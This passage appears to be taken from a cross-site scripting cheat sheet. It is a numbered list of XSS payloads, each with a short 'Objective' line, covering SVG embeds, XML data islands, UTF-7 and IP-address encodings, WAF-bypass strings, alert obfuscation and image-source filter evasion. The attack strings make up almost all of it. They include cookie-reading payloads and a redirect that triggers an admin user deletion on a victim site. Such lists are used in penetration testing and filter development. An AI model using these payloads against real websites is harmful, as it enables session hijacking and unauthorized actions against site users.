1. ***<EMBED SRC=" A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>***

*Objective:* With this we can EMBED SVG which can contain your XSS vector.

1. ***<HTML xmlns:xss>***

***<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">***

***<xss:xss>XSS</xss:xss>***

***</HTML>***

*Objective:* This represents the XML namespace. The htc file must be located on the same server.

1. ***<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>***

***</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>***

*Objective:* This represents the XML data island with CDATA obfuscation

1. ***<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML>***

***<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>***

*Objective:* This represents the XML data island with comment obfuscation

1. ***<XML SRC="xsstest.xml" ID=I></XML>***

***<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>***

*Objective:* This represents locally hosted XML with embedded JavaScript that is generated by using an XML data island.

1. ***<HTML><BODY>***

***<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">***

***<?import namespace="t" implementation="#default#time2">***

***<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;">***

***</BODY></HTML>***

*Objective:* Representing HTML plus TIME in XML to attack.

1. ***<? echo('<SCR)';***

***echo('IPT>alert("XSS")</SCRIPT>'); ?>***

*Objective:* It requires PHP to be installed on the server to use this XSS vector.

1. ***<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">***

*Objective:* This represents the Image embedded command vector.

1. ***Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser***

*Objective:* This represents the Image embedded command part 2 vector.

1. ***<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">***

*Objective:* This represents the cookie manipulation command vector.

1. ***<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-***

*Objective:* This represents the UTF-7 encoding exploiting vector.

1. ***<A HREF="http://1113982867/">XSS</A>***

*Objective:* This represents the Dword encoding exploitation vector.

1. ***<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>***

*Objective:* This represents the Hex encoding exploitation vector.

1. ***<A HREF="http://0102.0146.0007.00000223/">XSS</A>***

*Objective:* This represents the Octal encoding exploitation vector.

1. ***<A HREF="http://6&#9;6.000146.0x7.147/">XSS</A>***

*Objective:* This represents the Mixed encoding exploitation vector.

1. ***<A HREF="//google">XSS</A>***

*Objective:* This represents the protocol resolution bypass vector part 1.

1. ***<A HREF="http://ha.ckers.org@google">XSS</A>***

*Objective:* This represents the protocol resolution bypass vector part 2.

1. ***<A HREF="http://google:ha.ckers.org">XSS</A>***

*Objective:* This represents the protocol resolution bypass vector part 3.

1. ***<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>***

*Objective:* It is used to replace the content to attack the vector.

1. ***<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>***

*Objective:* It is used to replace the content to attack the vector.

1. ***<svg/onload=alert('XSS')>***

*Objective:* This represents SVG object tag.

1. ***Set.constructor`alert\x28document.domain\x29```***

*Objective:* This refers to the ECMAScript6.

**Bypassing WAF for XSS**

1. ***<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">***

***<Video> <source onerror = "javascript: alert (XSS)">***

***<Input value = "XSS" type = text>***

***<applet code="javascript:confirm(document.cookie);">***

***<isindex x="javascript:" onmouseover="alert(XSS)">***

***"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>***

***"><img src="x:x" onerror="alert(XSS)">***

***"><iframe src="javascript:alert(XSS)">***

***<object data="javascript:alert(XSS)">***

***<isindex type=image src=1 onerror=alert(XSS)>***

***<img src=x:alert(alt) onerror=eval(src) alt=0>***

***<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>***

***<iframe/src="data:text/html,<svg onload=alert(1)>">***

***<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>***

***<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script***

***<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">***

***<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>***

***<form><a href="javascript:\u0061lert(1)">X***

***</script><img/\*%00/src="worksinchrome&colon;prompt(1)"/%00\*/onerror='eval(src)'>***

***<style>//\*{x:expression(alert(/xss/))}//<style></style>***

***On Mouse Over***

***<img src="/" =\_=" title="onerror='prompt(1)'">***

***<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe***

***<script x> alert(1) </script 1=2***

***<form><button formaction=javascript&colon;alert(1)>CLICKME***

***<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"***

***<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>***

*Objective:* These strings are used to bypass WAF to conduct XSS attack.

1. ***(alert)(1)***

***a=alert,a(1)***

***[1].find(alert)***

***top[“al”+”ert”](1)***

***top[/al/.source+/ert/.source](1)***

***al\u0065rt(1)***

***top[‘al\145rt’](1)***

***top[‘al\x65rt’](1)***

***top[8680439..toString(30)](1)***

*Objective:* These strings are used to bypass WAF using Alert Obfuscation.

1. ***Example: <script> ... setTimeout(\"writetitle()\",$\_GET[xss]) ... </script>***

***Exploitation: /?xss=500); alert(document.cookie);//***

*Objective:* It represents Reflected XSS in JavaScript to bypass WAF.

1. ***Example: <script> ... eval($\_GET[xss]); ... </script>***

***Exploitation: /?xss=document.cookie***

*Objective:* It represents DOM-based XSS to bypass WAF.

1. ***Assume that this the vulnerable code:***

***...***

***header('Location: '.$\_GET['param']);***

***...***

***As well as:***

***...***

***header('Refresh: 0; URL='.$\_GET['param']);***

***...***

***• The given request will not be able to bypass WAF:***

***/?param=javascript:alert(document.cookie)***

***• This request will be able to bypass the WAF and an XSS attack will be implemented in certain browsers.***

***/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=***

*Objective:* It is used to conduct XSS via Request Redirection to bypass WAF.

**Bypassing SRC domain filters**

1. **<IMG onmouseover="alert('xxs')">**

*Objective:* It refers to the use of default SRC tag by leaving it out entirely to bypass SRC domain filters.

1. **<IMG SRC= onmouseover="alert('xxs')">**

*Objective:* It represents use of default SRC tag by leaving it empty.

1. **<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>**

*Objective:* It uses ON error alert to bypass filters.

1. **<img src=x**

***onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">***

*Objective:* It uses IMG onerror and JavaScript alert encode to bypass filters.